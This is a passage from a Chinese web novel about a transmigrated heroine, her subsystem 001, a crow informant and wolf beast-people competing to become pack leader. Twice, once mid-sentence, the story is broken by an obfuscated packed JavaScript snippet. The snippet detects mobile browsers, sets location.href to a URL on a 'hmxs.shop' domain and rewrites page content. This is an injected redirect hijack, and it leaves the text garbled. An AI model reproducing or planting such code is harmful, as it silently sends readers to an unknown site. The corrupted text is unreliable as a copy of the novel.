“谢谢。”001接过,温声问,“今天就准备回月影族了?” “是啊,早些行动兴许还能早点结束。” “你……不害怕了?” 001还记得那晚苏昙在月影族过夜,她点燃了身上所有的火种才勉强睡着。后半夜,他怕她再惊醒,又去找了其他枯枝败叶放进火堆维持火焰。 “还是有点怕的。但我不是一个人啊。”苏昙眼睛亮亮的,弯似月牙。她支着下巴,盯着001浅笑道,“这不是还有你嘛。” 001小口喝汤的动作顿了顿,随后淡定回道:“你这人还真是心大。” “不然呢,”苏昙想到什么,深深叹了一口气,换了个姿势,躺到沙发上,“我要真是个小心眼的,估计早就在一开始的时候被这个咸鱼系统给气死了,更别说现在还得和莱斯这样性格别扭的兽人相处。我看书里说的那句话真没错,‘人生百分之九十的烦恼,都源自于人际关系’。” “但我看,你并不讨厌他。” 001咬了一口煎蛋,细嚼慢咽道。 苏昙:“那确实,虽说莱斯性格冷淡,不过这也不全怪他。要是我小时候经历过那些霸凌,说不定活得比他还糟糕,更别提这里是动物的世界,遵循的都是自然法则。在某方面,他真的很强大。” “哦,还有乔泽!他性情豁达又重情重义,虽然平常不怎么正经,关键时刻还是很可靠的。” 苏昙话里流露出不加掩饰的欣赏之情。 001神色一滞,吃煎蛋的速度不自觉加快,两三口便解决完。 他慢条斯理地擦嘴,幽幽道:“你还真是平等地欣赏每一个人。” 苏昙面上浮出些许自得之意,却不让人反感:“多谢夸奖,我也知道自己有一双善于发现的眼睛。” 很显然,她丝毫没有发觉子系统微妙的情绪。 001:“……” 一股与心跳加速不同的感觉在他心里冒出来,又闷又堵,像只不听话的猫爪,时不时调皮地挠一下心尖。 反倒是骚扰他心绪的罪魁祸首,舒服地倒在沙发上,在阳光的沐浴里,闭上眼享受阵阵暖意。 001就这样无声地看着毫无察觉的她。 看久了,他发现,阳光打在她饱满的脸庞,每一个细小的毛孔都仿佛在自由地呼吸,亮莹莹毛茸茸的,瓷玉一样白净的皮肤晒出点点粉红,多了几分可爱。 “嘎——” 窗外传来一声突兀短促的乌鸦叫,瞬间拉回了001的注意力,也叫醒了昏昏欲睡的苏昙。 001飞速稳住神,立刻转身去洗刷碗筷,闷堵的感觉早就被吓得无影无踪。 苏昙毫无察觉地坐起来,自言自语道:“差点忘了,还有个邻居没打招呼。” 她揉了揉眼,从沙发上跳下来,打开沙发对面的橱柜柜门,把手伸进里面的大袋子扒拉一通,捧出几把稻谷。 苏昙推开窗户,把稻谷撒到棱台上,对高树上的乌鸦喊道,“嘿,吃饭了!” 乌鸦能听懂人话似的,闻声飞落到窗沿,开始大口享用。 不知什么时候,001已经收拾好碗筷,他走到苏昙身边:“那个……我先走了。” “好啊,拜拜。” 苏昙扭头看向001,竟从他脸上看到一丝不自在的表情。 是她的错觉吗? 苏昙还想再看得仔细些,没想到001下一秒便从她眼前消失,走得干脆又利落。 “嘎——” 又是一声乌鸦叫,拽回苏昙的思虑,她轻轻拍拍脑袋,把心思放到这只鸟身上,问起正事:“如果你能听懂我说的话,就到我左臂上来?” 约摸过了几秒,乌鸦试探着,一步一步朝苏昙左臂跳过去。 苏昙不禁露出惊喜笑容,又问道:“……那你能变成人形吗?” 这次乌鸦反应了很长时间,正当苏昙觉得无望,打算放弃的时候,乌鸦飞到半空,扑棱了几下翅膀,竟真的化成一个一米高的小男孩,身着黑色的斗篷,他的瞳仁比寻常人都要黑,又大又圆。 “原来你这么小,好可爱!” 苏昙新奇地观察他,忍不住感叹。 “我每隔一周才能变成人形一次,而且每次只能维持三个小时。” 小男孩嘴角还残留着稻谷碎粒,他仰头看苏昙,声线是稚嫩清脆的童声。 苏昙走出房子,蹲到他身旁,轻轻摸摸他的头,笑得颇像个伪装完美的“坏姐姐”:“我问你,你想不想吃到更多好吃的肉和谷子?” 听到有好吃的,小男孩的眼睛瞬间放光,但只高兴了几秒,就警惕道:“哼,世上可没有免费的午餐。你对我这么好,想和我交换什么?” 苏昙笑意不减,反而更甚:“没想到你还挺机灵的。” “我可是中大型禽鸟,每天在天上看到的热闹可不你们这些陆地动物知道的少,想骗我,还没那么容易!” “哦,那我是不是可以理解为,你是愿意和我交换的?” “勉强吧。据我长时间观察,你人不错。说吧,你想要什么?”小男孩脸上露出和气质长相不服的神气,倒是有种反差的萌感。 苏昙配合他,同样正经严肃道:“我想让你当我的眼线,替我传信。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552467|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “类似间谍吗?!” “呃……差不多。”苏昙没有纠正他的想象。 “好啊!”小男孩看起来比苏昙还兴奋,“我还没做过这种事情呢!” 苏昙看着来回蹦跳的小男孩,暗叹好奇和贪玩果然就是小孩的天性。不过也没关系,如果真到了要涉险的时候,她会自己去面对的。 “喏,这个给你。”小男孩把一个骨哨递到苏昙面前。 “这是什么?”苏昙小心摩挲,细腻温润的质感仿佛不是来自骨制品,而是一块上好的玉石。想必打磨它的主人花了不少时间。 “我闲着没事做的哨子,只要你吹响它,方圆三里我都能听见。” 苏昙点点头,把骨哨握在手里:“那我们说好了,我满足你日常的口腹之欲,你从现在开始,就要一直跟在我身边,保持三里地的活动范围。” “说到做到!” 小男孩激动得连身后的斗篷披风都轻轻荡了起来。 苏昙:“对了,还没问你叫什么呢。” “我们鸟类不经常化形,也不怎么说话,所以没有名字。” “那我给你起个,怎么样?”苏昙绞尽脑汁思考,环顾四周,把视线里能用得上的字都试了一遍,最后妥协道,“就叫你小鸦吧!” 别问为什么如此潦草,问就是理科生不配拥有文学细胞。 “好啊!”小鸦一点也不介意,不觉得有什么不好。他化作鸟形盘旋在半空,紧紧跟着苏昙。 * 时隔一个月,苏昙重新回到了月影族。 正如莱斯所说,月影族的大部分成员傍晚时分都会出去闲逛消食,不消食的也会出去走走。 苏昙等到太阳落山,悄悄返回月影族,族里果然没有多少兽人在。她很快找到之前睡觉的地方,在那里安置下来。 “我还以为,你不会再回来了。” 一个熟悉的声音在苏昙身后响起。 凌冉平静地看着苏昙,好像她们两人是久别重逢的老朋友。 苏昙客套地笑笑:“世界上每天发生的事情那么多,谁知道下一秒又会变成什么样。” “这不是你该待的地方。”凌冉皱紧眉头,“更何况……你还是只年仅一岁的小母狼。” “母狼又如何?洛娜虽然不在月影族了,但她走之后,头狼的位置不照样空着?” 苏昙第一次离开月影族之后,也没忘记这个地方,每隔几天就会来这附近,观察族里的情况。 观察得久了,她发现,独眼狼的权力看似很大,实则不然。将近一半的成员都更偏向凌冉的指挥,而那近一半的成员几乎都是月影族里的老住户。 而且,根据乔泽各路朋友的描述,早在两年前莱斯父母从月影族消失的时候,族里大部分都是家人亲属,但时间过去那么久,慢慢地,族里的兽人来了又去,去了又来,早就不是当年的那一波了。 简单来说,月影族现在的情势就是“金玉其外,败絮其中”。如果不是凌冉那些老住户所剩不多的威信做支撑,月影族还叫不叫这个名都难说。 “你认识洛娜?”凌冉警觉地问。 “不认识。但我认识她的儿子,莱斯。” 凌冉表情有一瞬的柔和:“他……还好吗?” “挺好的,吃得不错,过得也不赖。”苏昙认真思考片刻,又加上一句莱斯并没有说过的话,“哦对了,他还让我替他向干妈问好。” 凌冉许久都没听到“干妈”这个词,一时间没有反应过来。 苏昙耐心地等着她,终于听到凌冉缓缓开口:“他还是不愿意回来……是吗?” “嗯。” 苏昙轻声道。 凌冉似是意识到她的失容,改口道:“他没在这,不提他了——所以,你为什么坚持来月影族?” 话头一下子回到苏昙身上。 “说起来,这件事和莱斯还有些关系。”苏昙顿了几秒,看向凌冉道,“但眼看天色也不早了,我想找个能坐下喝杯水的地方仔细和你说。” 她又把选择权抛给了凌冉。 凌冉听懂她的弦外之音,转身说:“跟我来吧。” 50. 世界三(10) “进来吧。”凌冉推开门。 月影族很大,苏昙跟着她走了十多分钟才到她家里。 凌冉:“现在可以可以说了吗?” “当然。” 苏昙把失踪的兽人和小雌狼的事悉数告知凌冉,又讲了她重新回到月影族的目的。 “……我平常不怎么和宾砾他们打交道,完全没有听说过竟还有这样的事情发生。”凌冉愤怒地握紧双拳,声音也有些颤抖。 “你知道有什么兽人曾和月影族结下梁子吗?” 凌冉摇了摇头:“月影族与其他狼族竞争全凭能力,从来没做过昧良心的龃龉之事,我问心无愧。” 苏昙平静地看着她,说道:“月影族没有,不代表某些人没有。” “你说宾砾?”凌冉思考片刻,回忆道,“他确实算不上只好狼。当年莱斯被霸凌,就有他的一份。宾砾实力的确很强,哪怕他心肠狠辣,依旧有不少弱势的狼兽人愿意跟随他。所以那时我看到你跟在他后面,习惯性地以为你也和那些狼一样。是我误会了。” “没关系。”苏昙轻轻摆摆手,接着问道,“你觉得失踪的兽人会和他有关系吗?” “不知道……”凌冉面露愁意,“但如果你说的小雌狼真的是洛娜的女儿,那么洛娜和迪萨就极有可能还活着!月影族不能没有头狼,更不可能让一个品行败坏的狼做领导者!” 苏昙不能更赞同凌冉的观点。 “说起来,宾砾是一个人在月影族生活吗?” 凌冉:“嗯。听说他已经有自己的孩子了,但我从来没在月影族里见到过他家人。兴许是怕小狼受到欺负,才让他们住到了外面。” 对别人家的孩子心狠手辣,对自己的孩子倒是爱护有加,还真是个“好爸爸”。苏昙轻笑出声。 凌冉走到她身边,拜托道:“自从洛娜二人失踪,莱斯也离开多年,我能明显感受到月影族一天不如一天。可族里不能没有一个优秀的领导者……如今小雌狼关系她的下落,若有什么我能帮上的,尽管开口。” “眼下确实有一件事……”苏昙神色犹豫,最后还是问凌冉道,“你有没有什么东西,能够代表头狼身份?” 凌冉很快点头,她一下子跃上屋内房梁,不知从何处拿出一枚银色指戒。 指戒表面虽然已经有些发黑磨损,但却很干净,明显被保存得很好。 “这是每一代头狼相传的银戒,洛娜消失前也一直佩戴。她消失之后,外人一直以为银戒也跟着丢了。其实这两年来,一直被我细心保管。” 凌冉把银戒放到苏昙手心。 苏昙心感诧异:“你……都没问我要拿它干什么,不怕我存有私心吗?” 凌冉笑着解释:“银戒不能代表全部。头狼想要得到族里的肯定,必须要参加头狼选举才行。那时的战斗才是最凶残最有价值的。只有战到最后的那一只狼,才算得上真正的头狼。” 她目光坚定,继续道:“我相信,银戒最后会回到真正配得上它的狼身上。” “原来如此。”苏昙认真地看着凌冉,郑重向她保证,“我答应你,无论发生什么,我都会把银戒原模原样地带回来交给你,由你亲手交给未来的头狼。” 苏昙想到了宾砾。 她不怕宾砾强大,就怕他像莱斯一样毫无所求。只要宾砾有想得到的,就会有软肋。 * 当天晚上,凌冉把苏昙留了下来,让苏昙这段时间就先住在这里。一来是方便她行动,二来也能保证她的安全。 苏昙思量过后,觉得可行,便接受了凌冉的好意。 房子里只有一张床,苏昙自觉地打地铺,道过“晚安”之后,很快就陷入睡眠。 也许是地上太硬,又或是换了环境,她做了一个不怎么舒服的梦。 她竟然梦到了第一个里世界的原主,苏雨虹。 “……为什么?!为什么你明明看到了却不帮我?!” 梦里的苏雨虹穿着高中校服,独自站在暴雨里,尽管双眼哭得红肿,还是依稀能看出长大之后的影子——她长得真的很漂亮。 苏昙被倾盆的大雨和她劈头盖脸的责骂浇得一脸懵,她抹了一把脸上的水,稍稍退后几步,问道:“先别激动,你为什么穿着高中校服?马庆年又是谁?” “别装了!”苏雨虹情绪失控,几乎是歇斯底里地喊,“你就站在门外,亲眼看到我被马庆年侵犯,你为什么不站出来?!” “什么?!”苏昙心里狠狠一惊。 苏雨虹不是当明星当得好好的?难道她现在看到的是高中时期的苏雨虹? 苏昙还没来得及辨别梦境里苏雨虹的真假,就又听她冷笑道:“我早就该看清楚,你一直都是个虚伪又自私的冷血动物,除了靠你爸妈你还有什么?!” 苏昙抬了抬手,本好想好好和她沟通,余光瞥见她手里竟然握着一把锋利的水果刀! 苏雨虹大吼:“你表面装得纯善无辜,背地里却满心算计!你苏昙就是个和马庆年一样的贱人,贱人!你们都该去死!” 吼着吼着她又哭了:“就因为你,我什么都没了!我的自尊没了,梦想没了,我的未来也没了……” 下一秒,她冲向苏昙,双眼通红,满是仇恨和愤怒,发疯般把刀尖捅进苏昙心脏! “——不要!” 苏昙瞬间感受到左胸腔传来熟悉而猛烈的疼痛,和之前在虚境的感受别无二样。 她尖叫着睁开眼睛,反射坐起来,拼命地大口喘气。 有什么东西好像顺着脑袋流下来,苏昙抬手摸上去,发现她不知道什么时候出了一脑门冷汗。 曾经痛苦的感受如潮水般再次涌上来,苏昙屈膝抱着头痛欲裂的脑袋,身体里的窒息感却久久不愿散去,紧紧裹挟着她。 她仿佛又坠落那片无底的深渊,任何的风吹草动都有可能化成锋利的匕刃,将她割得遍体鳞伤。 苏昙拼命抱住自己,却怎么也感受不到心口仅存的一点温度。 梦境里,苏雨虹的责骂,此刻像符咒一样来回飘荡在她脑海里。 渐渐地,她耳边竟还出现了苏英华的、林远的声音。他们一边心疼她在外面过得好辛苦,一边质问她为什么不赶紧回家…… 苏昙太阳穴突突地跳疼,她想把一切都告诉他们,张开嘴唇却只能发出低喃。 “不是的……不是这样的……” 她几乎要把整个脑袋埋进双膝。 “你们听我解释……妈妈……爸爸……别走……”苏昙浑身怕得颤抖。 这时,她感觉到有谁温柔地碰了碰她的肩膀。 她抬起头,蓦地看到001逆着光,微微倾着腰,站在晨光里注视着她。 苏昙怔怔地看着001,冷不防被窗外的曦光晃了一下眼。 她终于反应过来,原来天已经亮了。 两个人默默地对视,谁都没有说话。 最后,还是001坐到她身边,轻声道:“我看你好像在做噩梦,不放心就过来看看。现在感觉怎么样,还难受吗?” 感觉怎么样…… 一瞬间,各种情绪争先冒出苏昙心头,等她意识到自己在流泪时,整张脸都已经湿了。 她转过头,胡乱把眼泪擦掉,开口道:“我现在好得很。” 几秒后,她听到001好像在轻笑,这轻笑没有恶意,也没有打趣的意思,只是单纯的表达,表达他一直都在。 001:“这是我第二次看见你哭。没想到,你这么爱哭。” 苏昙一怔。 “没有。你看错了。” 她背着脸,想也不想回道。 说者无心,听者有意。也许是她还没缓过劲,竟觉得001与她说话的语气,什么时候已经熟络到接近亲昵的地步。 上次在虚境晕倒后醒 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“半个小时前,她起床出去猎食了。”001没有介意她突如其来的情绪,仍旧温和地回道。 他避开苏昙刚刚的发问,补充道:“你不用担心,我在里世界的人形只有你能看到,其他人不会发现……我这次来,也不全是来看你,刚好要交给你一样东西。” 001把一个皮质笔记本递给她。 “这是什么?” 苏昙的注意力转移到手里的本子上。 她打开封皮的金属扣,看到里面写满了记录。 001的视线随着苏昙手指的翻页而移动:“还记得我之前说过,要找401再聊聊吗?我拜托他回去之后再仔细回想一下谷晨生前的事情,另外看看谷晨还有没有什么遗留的物品。” “所以,这是他的日记本?” 苏昙一页页翻过,注意到上面的字迹有的工整,有的潦草,内容也有详有略。 001点头:“这是他唯一留下来的东西。本子里面大多是他去过的里世界的记录,我和401还有131都已经看过一遍,没发现有什么关于主神的线索。你和谷晨都是宿主,也许以你的视角来看,能发现什么我们注意不到的。” “好,我会仔细看的。”苏昙把谷晨的日记本放到挎包里。 放好之后,她便静静地坐着,盯着凌冉放在桌台上的钟摆。 那摆锤就像飘零在海上的一叶舟,随着波浪滴答滴答地左右摇晃。 001坐在苏昙身边,和她隔了一个人的距离,微微侧过头,看向窗外的晨阳。 屋里突然安静下来。 在摆锤荡到第二百下的时候,001说话了。 “我能知道你做了什么梦吗?” 苏昙停下数摆锤的默念。 她想了想,没觉得有什么不能说的,就简单把苏雨昙在梦里吼的话复述了一遍。 苏昙:“我不怎么做梦,所以偶尔梦到一次,印象就会格外深。” 001仔细回想:“我记得那时读取到苏雨虹记忆里,没有关于她被侵犯的回忆。也许是你这段时间太累了,要不要再休息一会?” 森林里的大多动物早上五六点就会苏醒,出去猎食。苏昙为了不被别人发现异常,亦是如此。 他看着她眼底一片淡青,努力克制语气,让自己的话听起来没有那么亲近。 “不用了。”苏昙站起来,摸到口袋里的银戒,“你视野里能看到查克的家吗?” “可以。” 001没有再劝她休息。 “他在家吗?” “十分钟前出去了。” “多谢。接下来就好办了。” 苏昙默默攥紧银戒,推开房门。 001察觉到她变得客气的态度,动了动嘴唇,最后低声回道:“嗯……不用谢。” 51. 世界三(11) 苏昙很快来到查克家。 他家的房门上了锁,她撬开窗户,轻巧地跳进去。 一股潮湿发霉的气味扑面而来,熏得人喉咙阵阵发痒。 苏昙把咳嗽憋回肚子,环顾一圈,走到查克的床边,猝不及防被脚下倒着的杯子绊倒。她轻拍受惊的心脏,把杯子拾起放到桌子上。 苏昙抬眼看向床铺。 床上铺着的单子上沾满了污渍泥土,不知道已经多长时间没有洗过,脏得要死。虽说动物整日在外,难免会沾上泥渍,但家里脏乱成这样的,她还是第一次见。 她想到莱斯每次猎食完,都会把自己洗得干干净净,然后再回家,不禁心里感叹:“没有对比就没有伤害,男人果然还是清爽些,才不会惹人嫌!” 苏昙一边蹙眉嫌弃着查克的家里卫生,一边用剪刀剪掉一小块床单,放进挎包里。 就在刚刚,她果断决定,今天一定要洗个痛快地澡,才能洗掉这二十分钟给自己带来的心理冲击…… 苏昙又从包里拿出银戒,把它塞到床单下面,表面看着还是和原来无异。 做完这些事,她打开房间里的所有窗户,通风换气,避免自己的气息留在这里,被人发现。 剩下的,就要看房屋主人的了。 * “老荣。” 宾砾站在一个五大三粗的男人面前。 他们见面的地方很隐蔽,四下无人,只有风不时吹过的声音。 叫老荣的男人脚踩马丁靴,身穿夹克,背上背着一把□□,脸上以黑布覆面,头戴一顶牛皮帽子,全身上下只露出一双浑浊却锐利的吊梢眼。 “还要多久才能凑够数?!” 老荣不耐烦地跺跺脚,一把拎起宾砾的衣领问道。 “很快了……再给我十天,十天之后我一定一头不少地给您!” 宾砾目光落到老荣肩头露出的枪管子上。 他其实一点也不怕老荣,但他怕这把枪。 还有他那被枪口指着的家人。 随时都会丧命。 宾砾绽开一个奉承的笑,低声对老荣说:“那你看我的一家老小……什么时候能——” “你个牲畜猴急什么!” 老荣偏过头掀开黑布,朝地上吐出一口浓黄浊痰,茵绿的草地瞬间像被烧焦了一个窟窿,和周围的风景格格不入。 老荣松开手,把宾砾甩到一边,眯起眼睛:“我说过,只要这半年你按时给我交货,时限一过,我就把它们还给你。” 他面罩后的嘴角微微上扬。 宾砾低下头:“……好。” 现在还剩下四个月。快了,就快了。 老荣把枪扔到卡车里,哼着自创的小曲,弯腰坐进驾驶座里,几秒后,车屁股的排烟口冒起浓烟,染黑了整条道路。 宾砾望着远去的卡车,不由自主咬紧牙关。 他转过身,忍住心里的作呕,蹲在地上,把老荣刚才吐的痰清理掉。 “老大,他走了。” 查克不知从哪冒出来,对宾砾说道。 “我知道。回去吧。” 查克嗯了一声,没再说话。 他三年前便一直跟在宾砾身边,知道宾砾早就违背了兽人和人类之间禁止来往的规定,甚至私下和老荣进行交易——因为宾砾被老荣拿捏住了把柄。 不过查克没有家人,对宾砾做的事也没什么感触。他唯一在意的,是两个月后的头狼选举。 如果宾砾成功当上头狼,那他作为小弟,宾砾至少能保证他未来衣食无忧。 如果宾砾没有当上头狼,他也会保自己不受欺负,至少性命无忧。 再如果……如果是他自己当上了头狼—— 查克察觉到脑海里可怕的念头,赶紧回神,追上前面的宾砾。 一个小时后,两人路过查克家。 宾砾每次见了老荣之后心情都不怎么好,他停下脚步:“开门,我进去喝杯水。” “好。” 查克把地上杂乱的东西一股脑全部踢到旁边清出一条路,瞥见桌子上有一个茶杯,便拿起来给他倒了一杯水。 宾砾狠狠灌下去一口凉水,闭上眼缓了半天,心里的不适才感到一点消解:“还是老规矩,不许往外说。” “放心。”查克找到床上能坐的地方,一屁股坐下去,“嘶——” 他感觉有什么东西在屁股肉下面硌得慌。不知为何,他先看了一眼宾砾。 宾砾还闭着眼睛休息,没有其他动作。 查克轻轻把小东西拿出来,瞧见是一个熟悉又陌生的模样。 他认得这枚银戒。 洛娜之前每日都会佩戴,月影族的每一个兽人都再熟悉不过。 查克只看了一眼,就辨别出手里的这个是真的,不是赝品。 他呼吸一滞,有些慌神,压下狂跳的心脏,胡乱把银戒塞进枕头里面。 “咳、那个,我要休息了。你先回去吧。”查克站起来拍拍宾砾。 宾砾被叫醒,他皱着眉看了查克几秒,最后还是离开。 现下家里只剩一人,查克立刻关上门,这才注意到所有的窗户都大开着。 有人来过这里! 但已经过去一段时间,他闻不出空气里混杂的气味。 会是谁,煞费苦心进到他家,还留下这枚能代表头狼身份的银戒? 查克把刚才藏进枕头里的银戒拿出来,目光在家里巡视几圈,最后落在一个地方。 银戒消失两年多又突然出现,他还不能轻易把这件事说出去。 他必须先把这枚戒指好好藏起来,再做打算。 * 转眼时间过去三天,到了苏昙和莱斯两人约定见面的日子。 她特意起了个大早,避开月影族散住在各处的狼兽人,赶在日出之前到达乔泽家门口。 这几天,她虽和001气氛微妙,但食材001依旧照送不误。 苏昙本想拒绝,无奈她答应了小鸦每日的吃食,也不好食言,索性大方接受。大不了下个世界挣了钱再还给他就是。 唯一折磨人的是,001时不时会在她识海冒出来,这一句“虚空之境今日的午饭太油”,那一句“晚上的米粥太稀”,话里又保持着分寸和距离,弄得她不知该如何回应。 不对,她这时候为什么会想他?! 苏昙回过神,摇了摇头,把那人的模样赶出脑袋。 清晨的太阳还没出来,她不好打扰乔泽,就坐在房前的树下,翻看起包里的日记本: [2055年6月1日 今晚睡着之后,莫名来到“咸鱼路人改造系统”,遇到子系统401。听声音,他似乎还很年轻。我问他被挑选进系统的缘由,竟然是因为“三无人员”。也是,我去年失业,之后一直闲在家里,又一直没谈过恋爱——没钱,没斗志,没对象,可不就是“三无人员”! 我不想把写周记的习惯丢掉,就拜托401给我找来了本子和笔。至于日期,就继续按现实世界的记录,也好清楚我究竟要在系统里待多久。] 苏昙读完,发觉谷晨心态还挺好,是因为早就被生活磨平了棱角吗?她同情又滑稽地猜测,接着往下看。 [2055年6月8日 第一个里世界是古代背景。我穿到了一个而立之年的将军身上,401是个新来的子系统,他还看不到原主的任何记忆,帮不到我什么。不过我灵机一动,佯装失忆,从其他人嘴里得知之前都发生了什么。这个将军刚打完胜仗就被皇帝削去统帅职位,又被下旨定亲,婚期定在两月之后。我还没弄清楚其中到底发生了什么。] [2055年6月15日 皇宫里宫规森严,社会制度封建,思想理念的确落后现代。好在原主的父母颇有权势,又善解人意,实在不可多得。我请他们从中斡旋,取消了这门亲事。我不愿看到素不相识的女孩稀里糊涂地就嫁了人,那是不负责任的行为!] [2055年6月21日 最近府里传来消息,被取消婚约的女子是杨丞相家的三女儿。今天下午我才知道她已经在房中悬梁自尽!原来她只是用来巩固杨家政治地位的一颗棋子,没曾想婚约取消,被逼自尽。我怎么能如此单纯……如果我能再多想一步…… 现在已经是半夜丑时,我做了一场噩梦,梦中惊醒,流着冷汗写下这些。 ] 苏昙心里有些唏嘘,她动动手指,还想接着接着往下看,听见不远处传来一道熟悉的声音。 “维希?你不进去,在这坐着干什么?” 莱斯拂去一路走来挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563900|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到身上的晨露,走近问道。 苏昙把笔记本装好,站起身:“乔泽应该还没醒,我就在外面坐了一会。” 莱斯一点也不客气地推开门:“等他干什么,直接进。” 苏昙跟着他走进屋里,眼睁睁地看着莱斯满脸无情地将乔泽从床上拽起来,开始疯狂摇晃他的肩膀:“醒醒,别睡了,你的肉让人给偷了。” 乔泽瞬间睁大眼睛,警惕地跳起来,炸毛的头发也跟着一抖一抖:“谁偷的!出来!” “你再不醒我就全偷走了。” 莱斯面无表情地看着他。 乔泽无语地看他一眼,扭头指向墙上的挂钟叫道:“你没事吧大哥?这还不到六点!六点!你不知道我们猞猁都是夜间活动,白天休息的吗?!” “巧了,我们狼也是。我和维希都能做到,你为什么做不到?” “我为什么要做到?”乔泽快要无言以对。 “嗜睡老人,她可在外面等了你半天。” 苏昙:“……” 她可不想听他们就这样永无止境地吵下去。 她横在那两人中间,高声道:“——停!咱们今天来是说正事的!” 苏昙竟觉得这一幕有些似曾相识,心里隐秘地生出一分怀念。 莱斯转身坐到椅子上,哼了一声:“你讲吧。” 苏昙从挎包里掏出一块狗啃似的烂布,包着的袋子还没解开。 她还没说话,便又听莱斯惊道:“查克?” “没错,这块布是他的,上面还有他身上的气味。”苏昙点头,把东西交给他们,“查克是宾砾身边的人,他的行踪很有可能帮我们找到宾砾阴谋。” 乔泽把布收起来:“放心,我会让我信得过的朋友分开去找的。” “嗯,多谢。”苏昙小心地看了一眼莱斯,对他道,“我还有一件事,不想隐瞒你。” “你说吧。” “我见到了凌冉。她把洛娜留下的银戒给了我。为了计划,我把银戒留在了查克家。我知道,那是你母亲的东西,我向你保证,会把银戒完好无损的交回来。你……介意吗?” 莱斯不以为意道:“我有什么好介意的?如果银戒还能发挥一点价值,让查克和宾砾反目,也不错。” 苏昙捕捉到他表情的一丝变化,试探地问:“你真的不在意吗?你就没想过拿回本就属于你的位置?毕竟再有不到两个月就是头狼选举,到时候,宾砾也会参加。” “我只想一个人好好过日子,月影族的任何事我都不想掺和。” 苏昙:…… 这人简直比她还要躺平!瞧瞧,这才是真正的咸鱼呐! 她紧盯莱斯道,直白点明:“如果宾砾真的当上头狼,月影族大概率会没的。” 莱斯没再说话,避开了苏昙的目光。 苏昙脸上没什么表情,接着追问他:“我清楚你心里有许多不愿回去的理由,但你也同样清楚,你早就已经身在其中了,不是吗?” 莱斯依旧没有开口,眨眼的频率却出卖了他。 乔泽见气氛慢慢僵住,缓和地对苏昙笑道:“对了,还没告诉你,这几天我和莱斯已经找到了那位驼鹿大哥和粟枝,他们又带我们见了其他失踪兽人的亲朋,沟通之后,这些人都愿意配合我们接下来的计划。” “是吗!”苏昙身上的严肃感很快消失,她把视线从莱斯身上移开,“挺好的,多一个人就多一份力量。不过我们想要行动,估计要再等几天。” 乔泽:“等什么?” 苏昙弯起嘴角,微微笑道:“等鱼儿咬钩。” …… 交换完信息,苏昙想去外面逛逛,被乔泽单独喊住。 “还有什么事吗?” “其实也没什么……就是,就是莱斯刚刚在屋里说的,你真在外面等了我很长时间?” “没几分钟,他也是刚来就看见我在树下坐着,误会了。” 乔泽明显松了一口气,说道:“都是朋友,你下次直接进就行,不用管我。你也看见了,莱斯一直都是这样的。” 苏昙被他的紧张逗笑:“好。正好,我想再拜托你一件事,关于月影族的头狼选举……” “放心,我会帮着劝的。”乔泽立刻心领神会,“我相信莱斯,他是个明白人。” 52. 世界三(12) 上次从查克家离开,宾砾便感觉到查克的不对劲。加上最近的几天,查克每次见到他躲闪的表情,越发让他觉得查克一定有什么事情瞒着他。 一天下午,他再次找到查克:“你现在去一趟老地方,离那三百米远的地方,有我埋的半头驯鹿肉,送给你了,你去把它拿走吧。” “……现在吗?”查克半信半疑地问,他已经两天没吃过一顿饱饭,这半头驯鹿无疑能让他大饱口福。 宾砾挥挥手:“就是现在,再晚肉就不好吃了。” 查克一听,放下心来,立刻化成狼形跑走,留下宾砾一个人在原地。 “呵,瞧你那不值钱的蠢样子。” 宾砾发出一声讥笑,转身走进查克家里。 他眉心皱纹紧紧拧在一起,锐利的目光一处不漏地扫过房间的每一个角落。 上次查克一定是在这里发现了什么,表情才开始变得古怪,连眼神都开始回避他。 宾砾把查克的床单翻了个底朝天,结果除了扬起一大片积攒已久的、呛人的灰尘,其它的什么也没发现。 怎么会没有…… 他转移视线,用脚踢开地上杂乱的瓶瓶罐罐,发出一连串“乒乒乓乓”的声响。然而,地上除了多出几滩水迹,依旧无一物出现。 接着是桌子上、橱柜里、床底下……宾砾把房子里里外外全找过一遍,都没注意到有什么可疑的东西。 他的耐心几乎告罄。 “怎么可能!”宾砾恼怒地把桌子掀翻,连带着桌上的所有东西倾倒在地。 “——啪!” 清脆的一声响,倒下的花瓶被撞碎。 紧接着,似乎有什么东西滚了出来,咕噜噜地在地上滚了几圈,最后又转回到宾砾脚下。 宾砾愣愣地看着躺在脚边的银戒。 这是一个惊人的发现。 宾砾感觉脸上像被人打了一拳,打得他晕头转向。 原来这才是查克的目的,查克想要当头狼! 宾砾的胸口瞬间升腾一股无名怒火,他喉咙里仿佛卡了一块滚烫的红薯,只能一个劲向外喘着粗气,什么话也说不出来。 查克这个叛徒! 宾砾把银戒捞起来,揣到身上,化成狼形冲出查克的家。 * 三天前,苏昙给乔泽留下了查克的床布。 乔泽本想让他的一群朋友一起去找,然而莱斯一把夺过,颇为打击道:“等你那一群朋友挨个闻完这块臭布,估计布上的气味早就散尽了。” 他顿了顿,又补充道:“那个……我去追查克的行踪。毕竟我的嗅觉,比你们都要灵敏,你知道的。” 乔泽恨不得把布双手呈给莱斯。这可是他第一次听莱斯正面解释他的身份,这是多大进步啊! “没问题,当然没问题!” 乔泽努力抑制住嘴角溢出的笑意。 莱斯看着乔泽脸上古怪的表情,迷惑地摇摇头离开了。 果不其然,莱斯次日便找到所有查克近期去过的地方。 